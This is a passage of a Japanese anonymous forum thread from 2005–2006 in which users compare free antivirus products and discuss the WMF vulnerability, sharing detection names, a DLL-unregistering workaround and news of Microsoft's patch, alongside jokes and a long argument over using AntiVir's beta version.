605:名無しさん＠お腹いっぱい。
05/12/23 13:29:25
梅毒わろた
606:名無しさん＠お腹いっぱい。
05/12/23 15:53:44
日本語版あるしいいソフトだとは思う。
607:名無しさん＠お腹いっぱい。
05/12/23 17:35:30
じゃぁ早速dausosimasu
608:607
05/12/23 23:33:06
いやぁ、今まで使っていた奴よりずっと良いねこれ。
マジで感動♥
609:名無しさん＠お腹いっぱい。
05/12/23 23:46:18
avast4のTEMPファイルが29GBもあったのだが・・・・
yahooで検索して、適当に選んだんだが、もしかしてとんでもないソフトだったりする？>avast
610:名無しさん＠お腹いっぱい。
05/12/23 23:48:24
自己責任で。
611:名無しさん＠お腹いっぱい。
05/12/24 07:52:47
うちはそんなのないけど？
なんか気になるな
損した気分
612:609
05/12/24 10:04:43
綺麗に削除しても動作には問題ないが（そりゃあTEMPファイルだから)
何だったんだろう。HDDの容量がいきなり減ったので、ウイルスにでも感染したかと思ったよ
613:名無しさん＠お腹いっぱい。
05/12/24 10:51:07
29GもHDをがりがりやってたら気づかないのか？
614:名無しさん＠お腹いっぱい。
05/12/24 11:08:27
29Gもあれば普通気づくだろ
初心者じゃあるまいし
615:609じゃないけど・・・
05/12/24 12:18:59
5月くらいにウィルスバスターが不具合だしたでしょ。
その前後（はっきり覚えてない）でバスターが４GBくらいわけわからんファイル貯めてたのに全然気がつかなかった。
PC利用期間は長いけど、中身は初心者です。orz
616:名無しさん＠お腹いっぱい。
05/12/25 16:23:37
WindowsMeでメモリ64Mなんですけど良いソフトないですかね
617:名無しさん＠お腹いっぱい。
05/12/25 16:47:28
ルータ噛ましてメールソフトアンインスコして、IEのセキュリティ設定は
常に高を保てば、オンラインスキャンかAntidoteでなんとかなるんじゃない、
常駐させなくても
618:名無しさん＠お腹いっぱい。
05/12/25 19:16:09
ディスクイメージでシステムをバックアップして、終了させる度に
ハードディスクをフォーマット、起動する度にそれを復旧する。
619:名無しさん＠お腹いっぱい。
05/12/25 22:49:58
一番危ないので、まずはLANLANケーブルを引っこ抜く。
USB、COMなどなど、LAN端子も含めて何も刺さっていない端子は
パテで埋めて上からアロンアルファでコーティング。
モニタ端子など、何か刺さっている端子の場合、刺さっているものと
その端子をアロンアルファで固定。
CD-ROMドライブ、フロッピードライブをアロンアルファで固める。
そのPC自体でウィルス製造されてしまうと元も子もないので、
キーボードもアロンアルファで固める。
マウスのボタン部分も動かないように固める。
620:名無しさん＠お腹いっぱい。
05/12/25 22:50:45
採用
621:名無しさん＠お腹いっぱい。
05/12/25 22:53:11
自演乙
622:名無しさん＠お腹いっぱい。
05/12/25 23:31:11
LANLANケーブルだって…何かいてるんだ漏れは…orz
623:名無しさん＠お腹いっぱい。
05/12/25 23:39:09
問題ない。
624:名無しさん＠お腹いっぱい。
05/12/25 23:39:34
ランラン
何か楽しそう
625:名無しさん＠お腹いっぱい。
05/12/26 04:05:59
鈴木
626:名無しさん＠お腹いっぱい。
05/12/27 03:10:21
ムネオ
627:名無しさん＠お腹いっぱい。
05/12/27 18:32:17
ハウス
628:名無しさん＠お腹いっぱい。
05/12/27 18:45:02
マンセー
629:名無しさん＠お腹いっぱい。
05/12/28 21:20:58
＊＊新種ウイルスの速報＊＊
Windows XP SP2 に未知の重大な欠陥。
WMF ファイルを読み込むことで、任意のコードが実行されてしまう。
URLﾘﾝｸ(www.st.ryukoku.ac.jp)
＊＊対応済みアンチウイルス（2005/12/28時点）
マカフィー（検出名 Exploit-WMF）
URLﾘﾝｸ(vil.mcafeesecurity.com)
ノートン（検出名 Bloodhound.Exploit.56）
URLﾘﾝｸ(www.symantec.com)
630:名無しさん＠お腹いっぱい。
05/12/30 02:12:56
解析結果をログとして出力してくれて、
もしウイルスを発見したら指定のアドレスへメールを送ってくれるような
フリーアンチウイルスソフトはありませんか？
631:名無しさん＠お腹いっぱい。
05/12/30 13:13:52
フリーAVは大抵「個人の非商用利用」に限ってるから
そんな管理者向け機能は無いか削ってると思うが
632:名無しさん＠お腹いっぱい。
05/12/30 18:19:31
>>630
avast
633:名無しさん＠お腹いっぱい。
05/12/30 21:53:51
>>8はwinｎyはやってない人でも入れておいたほうがいいんですか？
今フリーのAVG使ってます
634:名無しさん＠お腹いっぱい。
05/12/30 21:56:33
>>633
入れたほうがいいと思うよ
635:名無しさん＠お腹いっぱい。
05/12/30 22:04:19
>>634
ありがとうございます、入れてきます
636:名無しさん＠お腹いっぱい。
05/12/30 22:40:56
URLﾘﾝｸ(grin.flagbind.jp)
フリーだと当然まだダメダメたよなあ？
637:名無しさん＠お腹いっぱい。
05/12/30 22:46:24
>>636
Avast!はおｋ
638:名無しさん＠お腹いっぱい。
05/12/30 22:51:25
BitDefenderも対応してるって噂
639:名無しさん＠お腹いっぱい。
05/12/30 22:53:13
>>636
『有料』=『優秀』と勘違いしてるアホw
640:名無しさん＠お腹いっぱい。
05/12/30 23:37:21
ケンシロウ、ノートンよりもavastaの方が対応早かったなぁ・・
641:名無しさん＠お腹いっぱい。
05/12/30 23:38:31
× avasta
○ avast!
642:名無しさん＠お腹いっぱい。
05/12/31 00:49:50
>>636
AntiVirも対応した
643:名無しさん＠お腹いっぱい。
05/12/31 16:32:53
avastはバグが直ってないからなぁ・・・
644:名無しさん＠お腹いっぱい。
06/01/02 10:28:25
遅ればせながらAVGも対応
645:名無しさん＠お腹いっぱい。
06/01/02 15:31:55
やっとこさ対応しましたな。
646:名無しさん＠お腹いっぱい。
06/01/02 15:42:16
>>603
のソフトって無料なの?
647:名無しさん＠お腹いっぱい。
06/01/02 16:20:59
>>646
下らねーこと聞いてねーでこのスレの１から順に読んでけよ。３辺りでわかるからよ。
648:名無しさん＠お腹いっぱい。
06/01/03 04:35:34
無敵ウイルスに反応するAvast素敵
649:名無しさん＠お腹いっぱい。
06/01/04 19:00:53
これで安心してインターネッツができるなｗ
avast厨て本当にバカｗ
650:名無しさん＠お腹いっぱい。
06/01/04 19:17:46
フリーソフトで検出できるのに金払ってても検出できないバスター厨が本当のバカｗ
651:名無しさん＠お腹いっぱい。
06/01/04 19:20:15
無敵に関してはどのｿﾌﾄ使ってようとも非公式パッチ充てた方が良いよ
Windowsの脆弱性をめぐって異例の事態に--専門家が非公式パッチを推奨
ｽﾚﾘﾝｸ(news板)
652:名無しさん＠お腹いっぱい。
06/01/04 20:50:52
そんな面倒な事しなくても、MSに書かれてる
regsvr32 -u %windir%\system32\shimgvw.dll
を実行すればいいだけだよ
パッチはこのビューアが使えなくなるのがﾔﾀﾞｰって人用でしょ？
653:名無しさん＠お腹いっぱい。
06/01/04 21:18:51
使えないと嫌です
654:名無しさん＠お腹いっぱい。
06/01/04 22:51:32
>>650
>フリーソフトで検出できるのに
別に批判はしたくは無いがセキュリティーには少しでも頭を使え。
どうして無料かわかっているよな？
655:名無しさん＠お腹いっぱい。
06/01/04 22:53:59
>>654
> どうして無料か
デモンストレーション
656:名無しさん＠お腹いっぱい。
06/01/04 23:55:11
>>654
avast!はこういうことらしい
----------
avast! 4 Home Edition is a full-featured antivirus package
designed exclusively for home users, non-commercial users.
Both conditions should be met! Our company offers Home Edition
free of charge, since in our opinion, it is possible to avoid global virus
spreading by efficient prevention; however, many user are not able
or do not want to pay for antivirus software.
----------
657:名無しさん＠お腹いっぱい。
06/01/05 00:12:00
AVGを2年使っていたが、タスクトレイのマークが白黒になり、
パターン更新も出来ず使用不能になった。それでavastを初DLした。
日本語版のファイル名が
「setupJAP.exe」
という差別用語でﾜﾛﾀ。気に入ったので今後もこの名前で続けてくれ。
658:名無しさん＠お腹いっぱい。
06/01/05 01:38:15
>>652
それ万全って訳じゃないだろ
659:名無しさん＠お腹いっぱい。
06/01/05 02:26:34
>>652
それをしても、IrfanViewとかの画像ビューアを使っていると、
画像を展開する時にshimgvw.dllを直接呼び出してしまうから
コードが実行されてしまう。
660:名無しさん＠お腹いっぱい。
06/01/06 00:24:23
>>657
ﾜﾛﾀ
661:名無しさん＠お腹いっぱい。
06/01/06 00:42:06
>>657
英語圏、中国、朝鮮以外では単なる略称だと思ってるらしいがな
662:名無しさん＠お腹いっぱい。
06/01/06 00:50:33
japって略すことなんて珍しくないだろ
日本のソフトでも英語版があるときはjapついてることあるぞ
663:名無しさん＠お腹いっぱい。
06/01/06 01:13:45
普通jaかjpでしょー
664:名無しさん＠お腹いっぱい。
06/01/06 01:22:50
日本人自らjapって使うのはどうかと。
665:名無しさん＠お腹いっぱい。
06/01/06 01:46:51
>>661
それほとんどじゃね
666:名無しさん＠お腹いっぱい。
06/01/06 02:08:40
>>663
うっかり混ぜちゃったんだな
667:名無しさん＠お腹いっぱい。
06/01/06 06:00:51
MSの緊急パッチ来たね。
>Windows XP 用セキュリティ更新プログラム (KB912919) 2006年1月6日
>Microsoft Windows ベースのシステムを攻撃者が侵害できるセキュリティ問題が発見されました。
>この更新プログラムをインストールすると、お使いのコンピュータを保護できます。
>URLﾘﾝｸ(www.microsoft.com)
>Graphics Rendering Engine の脆弱性によりコードが実行される可能性がある
668:名無しさん＠お腹いっぱい。
06/01/06 09:20:15
thx!
669:名無しさん＠お腹いっぱい。
06/01/06 11:14:54
>>662
みたことないぞ
670:名無しさん＠お腹いっぱい。
06/01/06 11:29:42
この脆弱性の説明のイラスト入りページまでできてたのねｗ＞MS
671:名無しさん＠お腹いっぱい。
06/01/07 00:22:34
JAPで結構ですよ。
俺たち自虐民族。
672:名無しさん＠お腹いっぱい。
06/01/07 00:49:35
regsvr32 -u %windir%\system32\shimgvw.dll
↑
これやったひとって、アップデートすれば設定元にもどるの？
673:名無しさん＠お腹いっぱい。
06/01/07 01:08:02
お気の毒ですが、もう二度と元に戻りません
674:名無しさん＠お腹いっぱい。
06/01/07 01:29:05
ノートンで無反応だったPCをBitDefenderでスキャンしたら4つも反応があったよ。
ノートンとBitDefenderって共存していい？
675:名無しさん＠お腹いっぱい。
06/01/07 01:31:18
常駐保護機能のないFree版ならいくらでもどうぞ
676:名無しさん＠お腹いっぱい。
06/01/07 01:42:27
BitDefender でスキャンするときは Norton 止めた方がいいぞ。
BitDefender のフリー版は常駐保護機能が無いから共存させやすいが、
同時に二つ以上走らせていいわけでもない。
まあ、ウイルスが見つかって動作を奪い合わない限り問題は表面化しないが…
677:名無しさん＠お腹いっぱい。
06/01/07 02:07:34
>>676
ノートン切れないのでBitDefenderのスタートアップを外せばいい訳ですね。
678:名無しさん＠お腹いっぱい。
06/01/07 02:09:39
しかしスタートアップを外すとBDは機能しなくなるという事実
679:名無しさん＠お腹いっぱい。
06/01/07 04:00:22
そこでコマンドライン版
680:名無しさん＠お腹いっぱい。
06/01/07 07:40:33
>>672
regsvr32 %windir%\system32\shimgvw.dll
681:名無しさん＠お腹いっぱい。
06/01/07 10:25:09
>>680
ありがとう。
682:名無しさん＠お腹いっぱい。
06/01/07 13:09:37
そんな貴方には
中国市場占拠率No.1総合セキュリティ対策ソフト
「キングソフトインターネットセキュリティ2006」（中国名「金山毒覇」）
サポート掲示板も充実してます。
公式HP
URLﾘﾝｸ(www.kingsoft.jp)
683:名無しさん＠お腹いっぱい。
06/01/07 19:27:29
ノートンが期限切れたから、avast4入れたんだけどめちゃめちゃ重い･･･。
avastってノートンよりも重い？AntiVir入れるべきだったか･･･orz
当方、XPで512のメモリー積んでるんだけど、多々動き鈍くなるよ。
684:名無しさん＠お腹いっぱい。
06/01/07 19:29:13
>>683
ノートンのアンインストールができてないと思われ
685:名無しさん＠お腹いっぱい。
06/01/07 20:38:49
例えばの話ですが
延長キーをひとつ購入してそれを二つのPCに使うということは
できるんでしょうか。
お願いします、教えてください。後学のために。
686:名無しさん＠お腹いっぱい。
06/01/07 20:50:16
>>685
スレ違い。
687:名無しさん＠お腹いっぱい。
06/01/07 20:50:28
ライセンス違反で通報されます
688:名無しさん＠お腹いっぱい。
06/01/07 20:58:15
そもそもノートンは悪知があるからできんのと違う？
689:名無しさん＠お腹いっぱい。
06/01/07 22:03:40
>>688
そうですか。ありがとう。
そう言うことが知りたかったのでした。
690:名無しさん＠お腹いっぱい。
06/01/08 00:55:19
あそ
691:名無しさん＠お腹いっぱい。
06/01/08 03:04:35
お前ら時計見てみろよ。
何時か確認したな？
次は自分の書いた書き込み見てみろよ。
空しくならないか？ 寝ろ。俺も寝る
692:名無しさん＠お腹いっぱい。
06/01/08 03:05:20
すまん。誤爆した・・・逝ってくるよ・・
693:名無しさん＠お腹いっぱい。
06/01/08 09:41:29
空しいなｗ
ま、寝とけ
694:名無しさん＠お腹いっぱい。
06/01/08 16:16:38
>>683
私はXPsp2環境下のマシンの一つにavast4入れてますが、常駐そのものは前に使ってたノートン2004より軽くなってる気がします。
ただ、ブラウザのWEB表示が一瞬もたつく感じになった気はします。avastの設定をデフォでなくHigh方向にしちゃってるせいかもしれませんが・・
695:名無しさん＠お腹いっぱい。
06/01/08 19:26:11
avast4は設定次第で軽くも重くもなる
漏れは標準シールドとアウトルック～しかインストールしてないから軽い
696:名無しさん＠お腹いっぱい。
06/01/08 19:44:42
>>695
俺もavastユーザーだけど、メーラーがOEとか言わないでよ
OEならインターネットメールだからね
(最近になって気付いた自分が悲しい 欝)
697:名無しさん＠お腹いっぱい。
06/01/08 20:07:00
メールというのはインターネット上でするものじゃないのか？
「OEなら」って？
698:名無しさん＠お腹いっぱい。
06/01/08 20:29:20
MS OutlookとOutlookExpressは使うモジュールが違う
699:名無しさん＠お腹いっぱい。
06/01/09 04:27:08
手動スキャンだけで良いので、対応ウィルスが一番多い物ってどれですか？
一応ノートン入れてるんで常駐はいらんのですが
700:名無しさん＠お腹いっぱい。
06/01/09 04:41:37
>>699
それならBitdefenderがいいよ
701:名無しさん＠お腹いっぱい。
06/01/09 07:23:42
>>700
ありがとうです。さっき変なブラクラ踏んじゃってね…
スパイウェアいんすこされそうになったのにはノートン反応してくれたんだけどね
トロイっぽいようなログが残ってるんで気になって仕方がない
702:名無しさん＠お腹いっぱい。
06/01/09 20:56:46
>>697
メールと言うのは、葉書や封筒を使った親書の事では無いかと思うが
703:名無しさん＠お腹いっぱい。
06/01/09 21:15:25
恋文(*´Д`)
704:名無しさん＠お腹いっぱい。
06/01/10 00:15:09
初心者の方へ
このスレッドを見ても訳の判らない書き込みばかりでしょう。
そんなのいくら見てもダメですよ。
フリーのウイルスソフトをお探しなら
「アバスト」がいいですよ。
日本語版もありますから
ダウンロードして試してみてください。
URLﾘﾝｸ(www.asw.cz)
705:名無しさん＠お腹いっぱい。
06/01/10 00:53:59
アバストは英語の分からない方向けのソフトです
検出力の高いソフトを求めるならAntiVir
動作の軽いソフトを求めるならAVG+BitDefender
を使いましょう。
706:名無しさん＠お腹いっぱい。
06/01/10 00:57:46
avast!って書かない時点でどっちもどっちだな。
707:705
06/01/10 00:58:50
>704が英語で書くと分からないだろうと思って日本語で書いてやったんだがなｗ
708:名無しさん＠お腹いっぱい。
06/01/10 05:20:29
avastは標準にしてたのでは、検出落ちるのは当然。
高設定で、市販のソフト並になる。
709:名無しさん＠お腹いっぱい。
06/01/10 07:25:13
市販ソフトと言ってもピンキリ
avastは高設定で「普通の検出力の」市販ソフト並
AntiVirの高設定は「優秀な検出力の」市販ソフト並
２つの間には超えられない壁がある。
710:名無しさん＠お腹いっぱい。
06/01/10 08:51:26
AntiVirは日本語で使えないから論外だな
漏れはavastとBitDefender7.0と使ってるが
どちらも日本語で使える
711:名無しさん＠お腹いっぱい。
06/01/10 08:55:50
日本語なんて使ってないから問題無し。
712:名無しさん＠お腹いっぱい。
06/01/10 10:00:16
使ってるジャン
713:名無しさん＠お腹いっぱい。
06/01/10 10:13:10
英語わからないから論外って情けね～
714:名無しさん＠お腹いっぱい。
06/01/10 10:25:53
>>713
>>710 を指しているなら「日本語環境で」って意味だぞ。わかっているか？
715:名無しさん＠お腹いっぱい。
06/01/10 11:01:29
AntiVir7は「日本語環境でも使える」んだぞ。わかっているか？
716:名無しさん＠お腹いっぱい。
06/01/10 11:55:33
>>715
AntiVir7 は、まだベータ版ｼﾞｬﾏｲｶ
717:名無しさん＠お腹いっぱい。
06/01/10 12:05:51
だから？使ってみたのか？
これだから単なる英語嫌いは(ry
718:名無しさん＠お腹いっぱい。
06/01/10 13:39:36
>>717
Security Soft の ベータ版なんて、
怖くて使える訳ねぇーだろ
そうゆうおまいは、ベータ版を使ってるのか？
719:名無しさん＠お腹いっぱい。
06/01/10 13:42:02
>>718
おまいさんこそ、ちゃんとレス見てるのか？
「日本語環境でも使える」と書いてるだろ。
で、特に問題無いから今も使ってるが何か？
720:名無しさん＠お腹いっぱい。
06/01/10 13:43:31
致命的なバグがあれば、とっくに配布中止してるだろ
とは考えないんだろうな
これだから単なる英語嫌いは(ry
721:名無しさん＠お腹いっぱい。
06/01/10 13:49:54
>>719
折れは、「日本語環境では使えない」とは一言もいっていない
AntiVir7 は、ベータ版だと言ってるわけだが
ちゃんと嫁
722:名無しさん＠お腹いっぱい。
06/01/10 13:53:51
>>720
意味わかんねぇ
SecuritySoft の人柱、よろ
あとで「正常に検知できませんでした」とか言われても
どうしようもねぇだろ
723:名無しさん＠お腹いっぱい。
06/01/10 14:24:19
>>721
お前おかしな事ばかり言うヤツだな
俺の >715 と >719 の発言見れば、俺の言葉だと分かるだろ。
おまいさんが「日本語環境でも使える」と書いたと、誰が書いてるよ？
>>722
お前こそ意味分かんねぇ
ベータなんだから人柱だってのは分かってる、当たり前だろ。
BitDefenderと併用してるが、今の所、逃したウイルスは無い。
それを踏まえて言ってるんだがな。
つーか、おまい、まだインストールすらしてないだろ？
使いもしないで憶測で叩くのはよせ。
これだから単なる英語嫌いは(ry
724:名無しさん＠お腹いっぱい。
06/01/10 14:42:09
>>723
在日か？
おまい日本語わかる？
もう一度言う
折れは、「日本語環境では使えない」とは一言もいっていない
725:名無しさん＠お腹いっぱい。
06/01/10 14:45:42
何この小学生の喧嘩ｗｗｗｗｗｗｗｗ
726:名無しさん＠お腹いっぱい。
06/01/10 14:58:43
>>723
なぜに正式リリースされてる「AntiVir６」を使わないの？
727:名無しさん＠お腹いっぱい。
06/01/10 15:36:51
>>724
在日はお前。日本語の文章読解も出来ないのか？
お前が「日本語環境では使えない」と書いたとは一言も書いてない。
ベータ版と日本語嫌いなおまいさんにはAntiVir使えとは言わないよ
お前さんが他人にavast勧めるのも勝手だから、俺がAntiVir勧めてもイチイチ噛み付くなよ
728:名無しさん＠お腹いっぱい。
06/01/10 15:38:00
>>726
>724 が AntiVir6は日本語環境で使えないと言うからAntiVir7を話しに出したんだが、
ベータ版と英語嫌いな >724 は拒否反応を示した。それだけ。
729:名無しさん＠お腹いっぱい。
06/01/10 15:41:05
AntiVir 6 はニバイト文字が絡む処理に問題がある。
それでいいじゃない。
730:名無しさん＠お腹いっぱい。
06/01/10 15:45:58
殺伐としたスレにﾍｰﾍﾞﾙﾊｳｽが！！
/|
|/＿＿
ヽ| l l│＜ﾊｰｲ
┷┷┷
_, ,_ パーン
（ ゜д゜）
⊂彡☆＝＝＝＝＝＝ /|
＿＿ |/
ヽ| l l│
┷┷┷
731:名無しさん＠お腹いっぱい。
06/01/10 15:47:09
. ＿＿
ヽ| 'A`.| ﾄﾘﾆｲｸﾉﾏﾝﾄﾞｸｾ...
┷━┷
732:名無しさん＠お腹いっぱい。
06/01/10 15:49:25
. ＿＿
（ ´・ω・）つ□ ヽ| 'A`.| ｱ､ｱﾘｶﾞﾄ
┷━┷
733:名無しさん＠お腹いっぱい。
06/01/10 15:50:16
/|
|/
_ ∩
( ﾟ∀ﾟ)彡 ほーれ
⊂彡
/|
|/ ＿＿
ヽ| TT│ かえせよう…
┷━┷
734:名無しさん＠お腹いっぱい。
06/01/10 15:50:52
/|
|/＿＿ もう一枚あったりして
ヽ| l l│＜ﾊｰｲ
┷┷┷
735:名無しさん＠お腹いっぱい。
06/01/10 15:51:16
>>727
しつけぇな、おまいはｗ
折れはベータ版は嫌だが、英語は構わない。
また、avastを勧めたこともない。
誰かと間違ってるんじゃね
736:名無しさん＠お腹いっぱい。
06/01/10 15:51:53
>>734
_, ,_ しかし阻止する！
（ ゜д゜）
⊂彡☆＝＝＝＝＝＝ /|
＿＿ |/
ヽ| l l│
┷┷┷
737:名無しさん＠お腹いっぱい。
06/01/10 16:15:44
>>735
お前もしつこいなｗ
> 折れはベータ版は嫌だが、英語は構わない。
それならそれで俺は別に構わない
だから俺が誰に何勧めようがイチイチ口出しすんなって
> 誰かと間違ってるんじゃね
>714 に対して俺が >715 のレス返した後にお前が >716 を
書くから、お前は >714 かと思っちまったじゃねぇか。
ここはID表示されないんだから話の流れ見て >718 の時点で
英語の話は自分とは関係無いと書いとけよ。
738:名無しさん＠お腹いっぱい。
06/01/10 16:18:48
★★★★★★★★★★終了★★★★★★★★★★
739:名無しさん＠お腹いっぱい。
06/01/10 16:20:13
★★★★★★★★★★ 再 開 ★★★★★★★★★★
カァ～～ンッ！！
740:名無しさん＠お腹いっぱい。
06/01/10 16:21:38
馬鹿と基地外は書き込むなよ
741:名無しさん＠お腹いっぱい。
06/01/10 16:22:22
★★★★★★★★★★終了★★★★★★★★★★
742:名無しさん＠お腹いっぱい。
06/01/10 16:22:54
>>740
そんな事書いたら、ここから人居なくなるってｗ
743:名無しさん＠お腹いっぱい。
06/01/10 16:34:15
>>742
なんでオマエがいるんだ？wﾗﾜﾗ
744:名無しさん＠お腹いっぱい。
06/01/10 16:35:07
>>737
関係あるものを無いことには出来ないだろうアホか
もうすこし小学校から言葉の学習をするといいだろうね
745:名無しさん＠お腹いっぱい。
06/01/10 16:37:07
粘着するんならレス番を名前に入れてくれよ。
相手違いでお互いあんだけ書き込む情熱があるならさ。
もっとやれ（ｗ
746:名無しさん＠お腹いっぱい。
06/01/10 16:40:05
>>745
おまえには関係ない
747:通りすがりの初心者
06/01/10 16:40:27
AntiVir7の存在を知ったので、
私にとってあながちこの諍いは無益なものではなかった。
もっとやれ（ｗ
748:名無しさん＠お腹いっぱい。
06/01/10 16:41:02
>>730>>736
その位置でその方向になぐったら、蓋は左か手前に飛ぶぞ。
749:名無しさん＠お腹いっぱい。
06/01/10 16:47:01
とりあえずFedora coreに入れてみたが、肝心のウイルスが削除されん。
うーん…どうしようか。
750:名無しさん＠お腹いっぱい。
06/01/10 17:23:37
>>744
俺は >715 を >714 に向けて言ったんだが、その後にお前が >716 を俺に向けて発言してきた。
お前を >714 と誤解してしまっても仕方無いだろう。
俺が誤解している事は >717 で英語を持ち出している事から、日本語に堪能なお前は分かった
はずだから >718 で否定しろよ。
751:名無しさん＠お腹いっぱい。
06/01/10 18:09:42
どーでもいいじゃんよ
752:名無しさん＠お腹いっぱい。
06/01/10 19:03:17
>>750はセキュリティ並に複雑ですね。
753:名無しさん＠お腹いっぱい。
06/01/10 21:17:54
誤解『した』方が悪いのか
否定『しなかった』方が悪いのか
んなこと、どーでも良い
それよりも、
『AntiVir7』のベータ版の方が良いのか？
『AntiVir6』の正式リリース版の方が良いのか？
こっちがよっぽど問題
754:名無しさん＠お腹いっぱい。
06/01/10 21:25:29
自分の環境で不具合が出なかった物を使えばいい。喧々囂々と騒ぐような内容じゃない。
755:名無しさん＠お腹いっぱい。
06/01/10 21:29:31
Please note that these programs are beta versions that might still contain bugs.
We therefore strongly advise you not to use these versions on a productive system.
まあ、テスターとして使用するのか、本来のウイルス対策として使用するのか、だろね
ちなみに俺は、後者だから「６」を使うがね
756:名無しさん＠お腹いっぱい。
06/01/10 22:52:39
そんな事言ってたら、正式版として販売されているのに未だに不具合出まくりの
Windowsなんて一生涯使えないんじゃないか？ｗ
俺は特に不具合も無くて、新しいヒューリスティック解析搭載した「７」使うよ
757:名無しさん＠お腹いっぱい。
06/01/10 23:01:49
>>756
Windowsの事だすんなら・・・
WindowXP Beta版を考えてみろ
バグ出まくりで、とても実用に耐える代物でなかったのだが
758:名無しさん＠お腹いっぱい。
06/01/10 23:07:28
実用に耐えないベータ版があれば、十分実用に耐えるベータ版もあるわな。
つーか、フリーウェアの大半も個人環境でしか開発・テストしていない、
ベータ版と言っていい代物ばかりだしな。
取り敢えず自分で使ってみて実用に耐えるかどうか判断する気がある人間は
「７」使ってみればいい。そうでない人間は「６」使えばいい。それだけの事だ。
759:名無しさん＠お腹いっぱい。
06/01/10 23:12:49
まあ、考え方は人それぞれだが・・・
OSとセキュリティは、正式版を使いたいと思うのは俺だけ
760:名無しさん＠お腹いっぱい。
06/01/10 23:21:00
まぁ、別にそれぞれの考えを否定してる訳じゃないんだから。
俺は「新物好きで使えればOK」と言う性格なんで「７」使ってるが、
正式版の方が安心と言う気持ちも分かる。
>755には「生産的なシステムでは使わない方が良い」とあるけど、
実際生産的なシステムで使わないとテスターの価値も下がるしな。
俺達みたいなのが犠牲になって安定版が出るんだと思っていてくれ。